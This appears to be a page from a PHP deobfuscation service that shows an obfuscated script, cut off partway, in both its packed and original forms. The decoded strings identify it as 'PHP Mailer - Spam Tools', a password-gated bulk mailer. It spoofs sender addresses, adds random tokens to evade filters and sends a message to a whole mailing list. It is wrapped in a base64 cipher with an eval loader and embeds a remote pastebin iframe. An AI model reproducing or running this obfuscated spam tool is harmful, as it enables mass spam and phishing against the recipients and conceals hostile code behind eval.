wNT0idDV4dCIgY2wxc3M9ImYycm0tYzJudHIybCAgNG5wM3Qtc20gIiA0ZD0icjVwbHlUMiIgbjFtNT0icjVwbHlUMiIgdjFsMzU9IicuJHI1cGx5VDIuJyIgLz48L2Q0dj4NCiAgICAgICAgICAgIDwvZDR2Pg0KICAgICAgICAgICAgPGQ0diBjbDFzcz0icjJ3Ij4NCiAgICAgICAgICAgICAgICA8ZDR2IGNsMXNzPSJmMnJtLWdyMjNwIGMybC1sZy02YSAiPjxsMWI1bCBmMnI9InMzYmo1Y3QiPlRoNSBzM2JqNWN0IDJmIHRoNSBtNXNzMWc1PC9sMWI1bD48NG5wM3QgdHlwNT0idDV4dCIgY2wxc3M9ImYycm0tYzJudHIybCAgNG5wM3Qtc20gIiA0ZD0iczNiajVjdCIgbjFtNT0iczNiajVjdCIgdjFsMzU9IicuJHMzYmo1Y3QuJyIgLz48L2Q0dj4NCiAgICAgICAgICAgIDwvZDR2Pg0KICAgICAgICAgICAgPGQ0diBjbDFzcz0icjJ3Ij4NCiAgICAgICAgICAgICAgICA8ZDR2IGNsMXNzPSJmMnJtLWdyMjNwIGMybC1sZy1lIj48bDFiNWwgZjJyPSJtNXNzMWc1TDV0dDVyIj5NNXNzMWc1IEw1dHQ1cjwvbDFiNWw+PHQ1eHQxcjUxIG4xbTU9Im01c3MxZzVMNXR0NXIiIDRkPSJtNXNzMWc1TDV0dDVyIiBjbDFzcz0iZjJybS1jMm50cjJsIiByMndzPSI2MCIgNGQ9InQ1eHRBcjUxIj4nLiRtNXNzMWc1TDV0dDVyLic8L3Q1eHQxcjUxPjwvZDR2Pg0KICAgICAgICAgICAgICAgIDxkNHYgY2wxc3M9ImYycm0tZ3IyM3AgYzJsLWxnLWUgIj48bDFiNWwgZjJyPSI1bTE0bEw0c3QiPlkyM3IgNW0xNGwgbDRzdDwvbDFiNWw+PHQ1eHQxcjUxIG4xbTU9IjVtMTRsTDRzdCIgNGQ9IjVtMTRsTDRzdCIgY2wxc3M9ImYycm0tYzJudHIybCIgcjJ3cz0iNjAiIDRkPSJ0NXh0QXI1MSI+Jy4kNW0xNGxMNHN0Lic8L3Q1eHQxcjUxPjwvZDR2Pg0KICAgICAgICAgICAgPC9kNHY+DQogICAgICAgICAgICA8ZDR2IGNsMXNzPSJyMnciPg0KICAgICAgICAgICAgICAgIDxkNHYgY2wxc3M9ImYycm0tZ3IyM3AgYzJsLWxnLWUgIj4NCiAgICAgICAgICAgICAgICAgICAgPGwxYjVsIGYycj0ibTVzczFnNVR5cDUiPk01c3MxZzUgVHlwNTwvbDFiNWw+DQogICAgICAgICAgICAgICAgICAgIEhUTUwgPDRucDN0IHR5cDU9InIxZDQyIiBuMW01PSJtNXNzMWc1VHlwNSIgNGQ9Im01c3MxZzVUeXA1IiB2MWwzNT0iNiIgJy4kaHRtbC4nPg0KICAgICAgICAgICAgICAgICAgICBQbDE0bjw0bnAzdCB0eXA1PSJyMWQ0MiIgbjFtNT0ibTVzczFnNVR5cDUiIDRkPSJtNXNzMWc1VHlwNSIgdjFsMzU9ImEiICcuJHBsMTRuLic+DQogICAgICAgICAgICAgICAgPC9kNHY+DQogICAgICAgICAgICAgICAgPGQ0diBjbDFzcz0iZjJybS1ncjIzcCBjMmwtbGctbyAiPg0KICAgICAgICAgICAgICAgICAgICA8bDFiNWwgZjJyPSI1bmMyZDUiPkVuYzJkNSBUeXA1PC9sMWI1bD4NCiAgICAgICAgICAgICAgICAgICAgPHM1bDVjdCBjbDFzcz0iZjJybS1jMm50cjJsIDRucDN0LXNtIiA0ZD0iNW5jMmQ1IiBuMW01PSI1bmMyZDUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPDJwdDQybiB2MWwzNT0iVVRGLTgiIHM1bDVjdDVkPlVURi04IEVuYzJkNTwvMnB0NDJuPg0KICAgICAgICAgICAgICAgICAgICAgICAgPDJwdDQybiB2MWwzNT0iVVRGLTgiPklTTyBFbmMyZDU8LzJwdDQybj4NCiAgICAgICAgICAgICAgICAgICAgPC9zNWw1Y3Q+DQogICAgICAgICAgICAgICAgPC9kNHY+DQogICAgICAgICAgICA8L2Q0dj4gDQogICAgICAgICAgICA8YjN0dDJuIHR5cDU9InMzYm00dCIgY2wxc3M9ImJ0biBidG4tZDVmMTNsdCBidG4tc20iIGYycm09ImYycm0iIG4xbTU9IjFjdDQybiIgdjFsMzU9InM1bmQiPlNFTkQ8L2IzdHQybj4NCiAgIA0KICAgICAgICA8L2Yycm0+DQogICAgPC9kNHY+DQogICAgPGQ0diBjbDFzcz0iYzJsLWxnLWUiPjxicj4NCiAgICAgICAgPGwxYjVsIGYycj0idzVsbCI+SU5TVFJVQ1RJT05TIEZPUiBVU0UhPC9sMWI1bD4NCiAgICAgICAgPGQ0diA0ZD0idzVsbCIgY2wxc3M9Inc1bGwgdzVsbCI+DQoNCiAgICAgICAgICAgIDxodT5ET05BVEUgVVM8L2h1Pg0KICAgICAgICAgICAgPDNsPg0KPGI+SSBuNTVkIG0ybjV5IHQyIGgxdjUgMSBkNWM1bnQgbDRmNSB3NHRoIG15IGYxbTRseS4gRXY1cnkgdDRtNSB5MjMgZzR2NSBtNSBtMm41eSwgNHQgbTUxbnMgNCBjMW4gc3A1bmQgbXkgdDRtNSBkMjRuZyBuNXcgdDIybHMgbDRrNSB0aDRzIDJyIG0xbnkgMnRoNXJzLCB0aDF0IHkyMyAxbmQgMnRoNXJzIGMxbiAzczUgdGg1bSBmMnIgZnI1NS48YnIgLz4gU2gydyB5MjNyIDFwcHI1YzQxdDQybi4gRDJuMXQ1IDFueSAxbTIzbnQgeTIzIHcxbnQhPC9iPg0KPGQ0diBzdHlsNT0iZjJudC1zNHo1OjZlcHg7bTFyZzRuOjAgMTN0Mjt3NGR0aDpvMDBweCIgY2wxc3M9ImJsMmNrY2gxNG4tYnRuIg0KICAgICBkMXQxLTFkZHI1c3M9IjZCWXM3NWI5dDVkb2Rud3diMzZMS0xNVjFNQ2U4ek42aW8iDQogICAgIGQxdDEtc2gxcjVkPSJmMWxzNSI+DQogICAgPGQ0diBjbDFzcz0iYmwyY2tjaDE0biBzdDFnNS1iNWc0biI+DQogICAgICAgIDw0bWcgc3JjPSJodHRwczovL2JsMmNrY2gxNG4uNG5mMi9SNXMyM3JjNXMvYjN0dDJucy9kMm4xdDVfZXUucG5nIi8+DQogICAgPC9kNHY+DQogICAgPGQ0diBjbDFzcz0iYmwyY2tjaDE0biBzdDFnNS1sMjFkNG5nIiBzdHlsNT0idDV4dC0xbDRnbjpjNW50NXIiPg0KICAgICAgICA8NG1nIHNyYz0iaHR0cHM6Ly9ibDJja2NoMTRuLjRuZjIvUjVzMjNyYzVzL2wyMWQ0bmctbDFyZzUuZzRmIi8+DQogICAgPC9kNHY+DQogICAgPGQ0diBjbDFzcz0iYmwyY2tjaDE0biBzdDFnNS1yNTFkeSI+DQogICAgICAgICA8cCAxbDRnbj0iYzVudDVyIj5QbDUxczUgRDJuMXQ1IFQyIEI0dGMyNG4gQWRkcjVzczogPGI+W1sxZGRyNXNzXV08L2I+PC9wPg0KICAgICAgICAgPHAgMWw0Z249ImM1bnQ1ciIgY2wxc3M9InFyLWMyZDUiPjwvcD4NCiAgICA8L2Q0dj4NCiAgICA8ZDR2IGNsMXNzPSJibDJja2NoMTRuIHN0MWc1LXAxNGQiPg0KICAgICAgICAgRDJuMXQ0Mm4gMmYgPGI+W1t2MWwzNV1dIEJUQzwvYj4gUjVjNTR2NWQuIFRoMW5rIFkyMy4NCiAgICA8L2Q0dj4NCiAgICA8ZDR2IGNsMXNzPSJibDJja2NoMTRuIHN0MWc1LTVycjJyIj4NCiAgICAgICAgPGYybnQgYzJsMnI9InI1ZCI+W1s1cnIycl1dPC9mMm50Pg0KICAgIDwvZDR2Pg0KPC9kNHY+DQogICAgICAgICAgICA8LzNsPg0KICAgICAgICAgICAgPGh1PkhFTFA8L2h1Pg0KICAgICAgICAgICAgPDNsPg0KICAgICAgICAgICAgICAgIDxsND5bLTVtMTRsLV0gOiA8Yj5SNWM0djVyIEVtMTRsPC9iPjwvbDQ+DQogICAgICAgICAgICAgICAgPGw0PlstdDRtNS1dIDogPGI+RDF0NSAxbmQgVDRtNTwvYj4gKCcuZDF0NSgibS9kL1kgaDo0OnMgMSIsIHQ0bTUoKSkuJyk8L2w0Pg0KICAgICAgICAgICAgICAgIDxsND5bLTVtMTRsM3M1ci1dIDogPGI+RW0xNGwgVXM1cjwvYj4gKDVtMTRsM3M1ckA1bTE0bGQybTE0bik8L2w0Pg0KICAgICAgICAgICAgICAgIDxsND5bLXIxbmQybXN0cjRuZy1dIDogPGI+UjFuZDJtIHN0cjRuZyAoMC05LDEteik8L2I+PC9sND4NCiAgICAgICAgICAgICAgICA8bDQ+Wy1yMW5kMm1uM21iNXItXSA6IDxiPlIxbmQybSBuM21iNXIgKDAtOSkgPC9iPjwvbDQ+DQogICAgICAgICAgICAgICAgPGw0PlstcjFuZDJtbDV0dDVycy1dIDogPGI+UjFuZDJtIEw1dHQ1cnMoMS16KSA8L2I+PC9sND4NCiAgICAgICAgICAgICAgICA8bDQ+Wy1yMW5kMm1tZGktXSA6IDxiPlIxbmQybSBNRGkgPC9iPjwvbDQ+DQogICAgICAgICAgICA8LzNsPg0KICAgICAgICAgICAgPGh1PjV4MW1wbDU8L2h1Pg0KICAgICAgICAgICAgUjVjNHY1ciBFbTE0bCA9IDxiPjNzNXJAZDJtMTRuLmMybTwvYj48YnI+DQogICAgICAgICAgICA8M2w+DQogICAgICAgICAgICAgICAgPGw0Pmg1bGwyIDxiPlstNW0xNGwzczVyLV08L2I+IC0+IGg1bGwyIDxiPjNzNXI8L2I+PC9sND4NCiAgICAgICAgICAgICAgICA8bDQ+eTIzciBjMmQ1IDRzICA8Yj5bLXIxbmQybW1kaS1dPC9iPiAtPiB5MjNyIGMyZDUgNHMgPGI+NTYwMWRjbzl1OWIxaTkxYmI1aWU1MGk3ZmEwZjg4bzU8L2I+PC9sND4NCiAgICAgICAgICAgIDwvM2w+DQogICAgICAgICAgICA8aHU+TjV3cyAsIEMybnQxY3QsIFNjMW0gUDFnNSwgVDIybHMgRnI1NTwvaHU+DQogICAgICAgICAgICA8M2w+DQogICAgICAgICAgICAgICcuJHQyMmxzWydsNHN0dDIybHMnXS4nDQoNCiAgICAgICAgICAgIDwvM2w+DQogICAgICAgIDwvZDR2Pg0KICAgIDwvZDR2Pic7ICAgIA0KICAgIA0KNGYoJF9QT1NUWycxY3Q0Mm4nXT09InM1bmQiKXsNCiAgICBwcjRudCAnICAgIDxkNHYgY2wxc3M9ImMybC1sZy02YSI+JzsNCiAgICAkbTE0bGw0c3Q9NXhwbDJkNSgiXHJcbiIsICQ1bTE0bEw0c3QpOw0KICAgICRuPWMyM250KCRtMTRsbDRzdCk7DQogICAgJHggPTY7DQogICAgZjJyNTFjaCAoJG0xNGxsNHN0IDFzICQ1bTE0bCApIHsNCiAgICAgICAgcHI0bnQgJzxkNHYgY2wxc3M9ImMybC1sZy02Ij5bJy4keC4nLycuJG4uJ108L2Q0dj48ZDR2IGNsMXNzPSJjMmwtbGctaSI+Jy4kNW0xNGwuJzwvZDR2Pic7DQogICAgICAgIDRmKCFzcDFtdDIybHNNMTRsQ2g1Y2soJDVtMTRsKSkgew0KICAgICAgICAgICAgcHI0bnQgJzxkNHYgY2wxc3M9ImMybC1sZy1lIj48c3AxbiBjbDFzcz0ibDFiNWwgbDFiNWwtZDVmMTNsdCI+SW5jMnJyNWN0IEVtMTRsPC9zcDFuPjwvZDR2Pic7DQogICAgICAgICAgICBwcjRudCAiPGJyPlxyXG4iOw0KICAgICAgICB9DQogICAgICAgIDVsczUgew0KICAgICAgICAgICAgJG0xNGwgPSBuNXcgUEhQTTE0bDVyOw0KICAgICAgICAgICAgJG0xNGwtPnM1dEZyMm0oc3AxbXQyMmxzQ2w1MXIoJHM1bmQ1ckVtMTRsLCQ1bTE0bCksc3AxbXQyMmxzQ2w1MXIoJHM1bmQ1ck4xbTUsJDVtMTRsKSk7DQogICAgICAgICAgICAkbTE0bC0+MWRkUjVwbHlUMihzcDFtdDIybHNDbDUxcigkcjVwbHlUMiwkNW0xNGwpKTsNCiAgICAgICAgICAgICRtMTRsLT4xZGRBZGRyNXNzKCQ1bTE0bCk7DQogICAgICAgICAgICAkbTE0bC0+UzNiajVjdCA9IHNwMW10MjJsc0NsNTFyKCRzM2JqNWN0LCQ1bTE0bCk7DQogICAgICAgICAgICAkbTE0bC0+QjJkeSA9ICBzcDFtdDIybHNDbDUxcigkbTVzczFnNUw1dHQ1ciwkNW0xNGwpOw0KICAgICAgICAgICAgJG0xNGwtPkNoMXJTNXQgPSAkNW5jMmQ1Ow0KICAgICAgICAgICAgZjJyKCQ0PTA7ICQ0PGMyM250KCRfRklMRVNbJzF0dDFjaG01bnQnXVsnbjFtNSddKTsgJDQrKykgew0KICAgICAgICAgICAgICAgIDRmICgkX0ZJTEVTWycxdHQxY2htNW50J11bJ3RtcF9uMW01J11bJDRdICE9ICIiKXsNCiAgICAgICAgICAgICAgICAgICAgJG0xNGwtPkFkZEF0dDFjaG01bnQoJF9GSUxFU1snMXR0MWNobTVudCddWyd0bXBfbjFtNSddWyQ0XSwkX0ZJTEVTWycxdHQxY2htNW50J11bJ24xbTUnXVskNF0pOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYoJG01c3MxZzVUeXA1PT02KXskbTE0bC0+SXNIVE1MKHRyMzUpO30NCiAgICAgICAgICAgIDVsczUgeyRtMTRsLT5Jc0hUTUwoZjFsczUpO30NCiAgICAgICAgICAgIDRmICghJG0xNGwtPnM1bmQoKSkgew0KICAgICAgICAgICAgICAgIDVjaDIgJzxkNHYgY2wxc3M9ImMybC1sZy1lIj48c3AxbiBjbDFzcz0ibDFiNWwgbDFiNWwtZDVmMTNsdCI+Jy4kbTE0bC0+RXJyMnJJbmYyLic8L3NwMW4+PC9kNHY+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczUgew0KICAgICAgICAgICAgICAgIDVjaDIgJzxkNHYgY2wxc3M9ImMybC1sZy1lIj48c3AxbiBjbDFzcz0ibDFiNWwgbDFiNWwtczNjYzVzcyI+T2s8L3NwMW4+PC9kNHY+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHByNG50ICI8YnI+XHJcbiI7DQogICAgICAgIH0NCiAgICAgICAgJHgrKzsNCiAgICAgICAgZjJyKCRrID0gMDsgJGsgPCB1MDAwMDsgJGsrKykgezVjaDIgJyAnO30NCiAgICB9DQoNCn0NCnByNG50ICc8L2IyZHk+JzsNCj8+DQo=';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

Did this file decode correctly?

Original Code

<?php $_F=__FILE__;$_X='Pz48P3BocA0KLyoqDQogKiBQSFAgTTE0bDVyIC0gU3AxbSBUMjJscw0KICogQHY1cnM0Mm4gOiBvLjANCioqLw0KDQokcDFzc3cycmQgPSAiIjsgLy8gUDFzc3cycmQgDQoNCnM1c3M0Mm5fc3QxcnQoKTsNCjVycjJyX3I1cDJydDRuZygwKTsNCnM1dF90NG01X2w0bTR0KDApOw0KNG40X3M1dCgibTVtMnJ5X2w0bTR0IiwtNik7DQoNCg0KJHQyMmxzWyd2NXJzNDJuJ109Im8uMCI7DQokdDIybHNbJzEzdGgyciddPSJzcDFtdDIybHNAajFiYjVyLjF0IjsNCiR0MjJsc1snbDRzdHQyMmxzJ109Ijw0ZnIxbTUgc3JjPSdodHRwczovL3Axc3Q1YjRuLmMybS9yMXcvcEgwWkxvREsnIHN0eWw1PSdiMnJkNXI6bjJuNTt3NGR0aDo2MDAlJz48LzRmcjFtNT4iOw0KDQoNCiRzNXNzNDJuYzJkNSA9IG1kaShfX0ZJTEVfXyk7DQo0ZighNW1wdHkoJHAxc3N3MnJkKSAxbmQgJF9TRVNTSU9OWyRzNXNzNDJuYzJkNV0gIT0gJHAxc3N3MnJkKXsNCiAgICAjIF9SRVFVRVNUIG01MW4gX1BPU1QgMnIgX0dFVCANCiAgICA0ZiAoNHNzNXQoJF9SRVFVRVNUWydwMXNzJ10pIDFuZCAkX1JFUVVFU1RbJ3Axc3MnXSA9PSAkcDFzc3cycmQpIHsNCiAgICAgICAgJF9TRVNTSU9OWyRzNXNzNDJuYzJkNV0gPSAkcDFzc3cycmQ7DQogICAgfQ0KICAgIDVsczUgew0KICAgICAgICBwcjRudCAiPHByNSAxbDRnbj1jNW50NXI+PGYycm0gbTV0aDJkPXAyc3Q+UDFzc3cycmQ6IDw0bnAzdCB0eXA1PSdwMXNzdzJyZCcgbjFtNT0ncDFzcyc+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jz48L2Yycm0+PC9wcjU+IjsNCiAgICAgICAgNXg0dDsgICAgICAgIA0KICAgIH0NCn0NCg0KNGYoJF9QT1NUWycxY3Q0Mm4nXT09InM1bmQiKXsNCiAgICAkczVuZDVyRW0xNGw9c3AxbXQyMmxzVHI0bSgkX1BPU1RbJ3M1bmQ1ckVtMTRsJ10pOw0KICAgICRzNW5kNXJOMW01PXNwMW10MjJsc1RyNG0oJF9QT1NUWydzNW5kNXJOMW01J10pOw0KICAgICRyNXBseVQyPXNwMW10MjJsc1RyNG0oJF9QT1NUWydyNXBseVQyJ10pOw0KICAgICRzM2JqNWN0PXNwMW10MjJsc1RyNG0oJF9QT1NUWydzM2JqNWN0J10pOw0KICAgICQ1bTE0bEw0c3Q9c3AxbXQyMmxzVHI0bSgkX1BPU1RbJzVtMTRsTDRzdCddKTsNCiAgICAkbTVzczFnNVR5cDU9c3AxbXQyMmxzVHI0bSgkX1BPU1RbJ201c3MxZzVUeXA1J10pOw0KICAgICRtNXNzMWc1TDV0dDVyPXNwMW10MjJsc1RyNG0oJF9QT1NUWydtNXNzMWc1TDV0dDVyJ10pOyAgICANCiAgICAkbTVzczFnNUw1dHQ1ciA9IDNybDVuYzJkNSgkbTVzczFnNUw1dHQ1cik7DQogICAgJG01c3MxZzVMNXR0NXIgPSA1cjVnX3I1cGwxYzUoIiVpQyVhYSIsICIlYWEiLCAkbTVzczFnNUw1dHQ1cik7DQogICAgJG01c3MxZzVMNXR0NXIgPSAzcmxkNWMyZDUoJG01c3MxZzVMNXR0NXIpOw0KICAgICRtNXNzMWc1TDV0dDVyID0gc3RyNHBzbDFzaDVzKCRtNXNzMWc1TDV0dDVyKTsNCiAgICAkczNiajVjdCA9IHN0cjRwc2wxc2g1cygkczNiajVjdCk7DQogICAgJDVuYzJkNSA9IHN0cjRwc2wxc2g1cygkNW5jMmQ1KTsNCg0KDQp9DQo0ZigkbTVzczFnNVR5cDU9PWEpew0KICAgICRwbDE0bj0iY2g1Y2s1ZCI7DQp9DQo1bHM1IHsNCiAgICAkaHRtbD0iY2g1Y2s1ZCI7DQp9DQoNCmYzbmN0NDJuIHNwMW10MjJsc0NsNTFyKCR0NXh0LCQ1bTE0bCl7DQogICAgJDVtMTRsM3M1ciA9IHByNWdfcjVwbDFjNSgnLyhbXkBdKikuKi8nLCAnJDYnLCAkNW0xNGwpOw0KICAgICR0NXh0ID0gc3RyX3I1cGwxYzUoIlstdDRtNS1dIiwgZDF0NSgibS9kL1kgaDo0OnMgMSIsIHQ0bTUoKSksICR0NXh0KTsNCiAgICAkdDV4dCA9IHN0cl9yNXBsMWM1KCJbLTVtMTRsLV0iLCAkNW0xNGwsICR0NXh0KTsNCiAgICAkdDV4dCA9IHN0cl9yNXBsMWM1KCJbLTVtMTRsM3M1ci1dIiwgJDVtMTRsM3M1ciwgJHQ1eHQpOw0KICAgICR0NXh0ID0gc3RyX3I1cGwxYzUoIlstcjFuZDJtbDV0dDVycy1dIiwgcjFuZFN0cjRuZygnMWJjZDVmZ2g0amtsbW4ycHFyc3Qzdnd4eXonKSwgJHQ1eHQpOw0KICAgICR0NXh0ID0gc3RyX3I1cGwxYzUoIlstcjFuZDJtc3RyNG5nLV0iLCByMW5kU3RyNG5nKCcxYmNkNWZnaDRqa2xtbjJwcXJzdDN2d3h5ejA2YW91aWU3ODknKSwgJHQ1eHQpOw0KICAgICR0NXh0ID0gc3RyX3I1cGwxYzUoIlstcjFuZDJtbjNtYjVyLV0iLCByMW5kU3RyNG5nKCcwNmFvdWllNzg5JyksICR0NXh0KTsNCiAgICAkdDV4dCA9IHN0cl9yNXBsMWM1KCJbLXIxbmQybW1kaS1dIiwgbWRpKHIxbmRTdHI0bmcoJzFiY2Q1ZmdoNGprbG1uMnBxcnN0M3Z3eHl6MDZhb3VpZTc4OScpKSwgJHQ1eHQpOw0KICAgIHI1dDNybiAkdDV4dDsNCiAgICANCn0NCmYzbmN0NDJuIHNwMW10MjJsc1RyNG0oJHN0cjRuZyl7DQpyNXQzcm4gc3RyNHBzbDFzaDVzKGx0cjRtKHJ0cjRtKCRzdHI0bmcpKSk7DQp9DQpmM25jdDQybiByMW5kU3RyNG5nKCRjMm5zMm4xbnRzKSB7DQogICAgJGw1bmd0aD1yMW5kKDZhLGFpKTsNCiAgICAkcDFzc3cycmQgPSAnJzsNCiAgICBmMnIgKCQ0ID0gMDsgJDQgPCAkbDVuZ3RoOyAkNCsrKSB7DQogICAgICAgICAgICAkcDFzc3cycmQgLj0gJGMybnMybjFudHNbKHIxbmQoKSAlIHN0cmw1bigkYzJuczJuMW50cykpXTsNCiAgICB9DQogICAgcjV0M3JuICRwMXNzdzJyZDsNCn0NCmYzbmN0NDJuIHNwMW10MjJsc00xNGxDaDVjaygkNW0xNGwpew0KICAgJDV4cCA9ICJeWzEtelwnMC05XSsoWy5fLV1bMS16XCcwLTldKykqQChbMS16MC05XSsoWy5fLV1bMS16MC05XSspKSskIjsNCiAgIDRmKDVyNWc0KCQ1eHAsJDVtMTRsKSl7DQogICAgICAgIDRmKGNoNWNrZG5zcnIoMXJyMXlfcDJwKDV4cGwyZDUoIkAiLCQ1bTE0bCkpLCJNWCIpKXtyNXQzcm4gdHIzNTt9DQogICAgICAgIDVsczV7cjV0M3JuIGYxbHM1O30NCiAgIH0NCiAgIDVsczV7cjV0M3JuIGYxbHM1O30gICAgDQp9DQoNCmNsMXNzIFBIUE0xNGw1cg0Kew0KICAgIC8qKg0KICAgICAqIFRoNSBQSFBNMTRsNXIgVjVyczQybiBuM21iNXIuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJFY1cnM0Mm4gPSAnaS5hLjZ1JzsNCg0KICAgIC8qKg0KICAgICAqIEVtMTRsIHByNDJyNHR5Lg0KICAgICAqIE9wdDQybnM6IG4zbGwgKGQ1ZjEzbHQpLCA2ID0gSDRnaCwgbyA9IE4ycm0xbCwgaSA9IGwydy4NCiAgICAgKiBXaDVuIG4zbGwsIHRoNSBoNTFkNXIgNHMgbjJ0IHM1dCAxdCAxbGwuDQogICAgICogQHYxciA0bnQ1ZzVyDQogICAgICovDQogICAgcDNibDRjICRQcjQycjR0eSA9IG4zbGw7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgY2gxcjFjdDVyIHM1dCAyZiB0aDUgbTVzczFnNS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkQ2gxclM1dCA9ICc0czItODhpOS02JzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBNSU1FIEMybnQ1bnQtdHlwNSAyZiB0aDUgbTVzczFnNS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkQzJudDVudFR5cDUgPSAndDV4dC9wbDE0bic7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgbTVzczFnNSA1bmMyZDRuZy4NCiAgICAgKiBPcHQ0Mm5zOiAiOGI0dCIsICI3YjR0IiwgImI0bjFyeSIsICJiMXM1ZXUiLCAxbmQgInEzMnQ1ZC1wcjRudDFibDUiLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRFbmMyZDRuZyA9ICc4YjR0JzsNCg0KICAgIC8qKg0KICAgICAqIEgybGRzIHRoNSBtMnN0IHI1YzVudCBtMTRsNXIgNXJyMnIgbTVzczFnNS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkRXJyMnJJbmYyID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgRnIybSA1bTE0bCAxZGRyNXNzIGYyciB0aDUgbTVzczFnNS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkRnIybSA9ICdyMjJ0QGwyYzFsaDJzdCc7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgRnIybSBuMW01IDJmIHRoNSBtNXNzMWc1Lg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRGcjJtTjFtNSA9ICdSMjJ0IFVzNXInOw0KDQogICAgLyoqDQogICAgICogVGg1IFM1bmQ1ciA1bTE0bCAoUjV0M3JuLVAxdGgpIDJmIHRoNSBtNXNzMWc1Lg0KICAgICAqIElmIG4ydCA1bXB0eSwgdzRsbCBiNSBzNW50IHY0MSAtZiB0MiBzNW5kbTE0bCAyciAxcyAnTUFJTCBGUk9NJyA0biBzbXRwIG0yZDUuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJFM1bmQ1ciA9ICcnOw0KDQogICAgLyoqDQogICAgICogVGg1IFI1dDNybi1QMXRoIDJmIHRoNSBtNXNzMWc1Lg0KICAgICAqIElmIDVtcHR5LCA0dCB3NGxsIGI1IHM1dCB0MiA1NHRoNXIgRnIybSAyciBTNW5kNXIuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKiBAZDVwcjVjMXQ1ZCBFbTE0bCBzNW5kNXJzIHNoMjNsZCBuNXY1ciBzNXQgMSByNXQzcm4tcDF0aCBoNTFkNXI7DQogICAgICogNHQncyB0aDUgcjVjNTR2NXIncyBqMmIgKFJGQ2lvYTYgczVjdDQybiB1LnUpLCBzMiB0aDRzIG4yIGwybmc1ciBkMjVzIDFueXRoNG5nLg0KICAgICAqIEBsNG5rIGh0dHBzOi8vdDIybHMuNDV0Zi4ycmcvaHRtbC9yZmNpb2E2I3M1Y3Q0Mm4tdS51IFJGQ2lvYTYgcjVmNXI1bmM1DQogICAgICovDQogICAgcDNibDRjICRSNXQzcm5QMXRoID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgUzNiajVjdCAyZiB0aDUgbTVzczFnNS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkUzNiajVjdCA9ICcnOw0KDQogICAgLyoqDQogICAgICogQW4gSFRNTCAyciBwbDE0biB0NXh0IG01c3MxZzUgYjJkeS4NCiAgICAgKiBJZiBIVE1MIHRoNW4gYzFsbCA0c0hUTUwodHIzNSkuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJEIyZHkgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBwbDE0bi10NXh0IG01c3MxZzUgYjJkeS4NCiAgICAgKiBUaDRzIGIyZHkgYzFuIGI1IHI1MWQgYnkgbTE0bCBjbDQ1bnRzIHRoMXQgZDIgbjJ0IGgxdjUgSFRNTCA1bTE0bA0KICAgICAqIGMxcDFiNGw0dHkgczNjaCAxcyBtM3R0ICYgRTNkMnIxLg0KICAgICAqIENsNDVudHMgdGgxdCBjMW4gcjUxZCBIVE1MIHc0bGwgdjQ1dyB0aDUgbjJybTFsIEIyZHkuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJEFsdEIyZHkgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIEFuIDRDMWwgbTVzczFnNSBwMXJ0IGIyZHkuDQogICAgICogT25seSBzM3BwMnJ0NWQgNG4gczRtcGw1IDFsdCAyciAxbHRfNG5sNG41IG01c3MxZzUgdHlwNXMNCiAgICAgKiBUMiBnNW41cjF0NSA0QzFsIDV2NW50cywgM3M1IHRoNSBiM25kbDVkIDV4dHIxcy9FMXN5UDUxc3lJQ1MucGhwIGNsMXNzIDJyIDRDMWxjcjUxdDJyDQogICAgICogQGw0bmsgaHR0cDovL3NwcjE0bi5jaC9ibDJnL2Qyd25sMjFkcy9waHAtY2wxc3MtNTFzeXA1MXN5NGNzLWNyNTF0NS00YzFsLWY0bDVzLXc0dGgtcGhwLw0KICAgICAqIEBsNG5rIGh0dHA6Ly9rNGdrMm5zM2x0LnM1LzRDMWxjcjUxdDJyLw0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRJYzFsID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgYzJtcGw1dDUgYzJtcDRsNWQgTUlNRSBtNXNzMWc1IGIyZHkuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCAkTUlNRUIyZHkgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBjMm1wbDV0NSBjMm1wNGw1ZCBNSU1FIG01c3MxZzUgaDUxZDVycy4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3Mg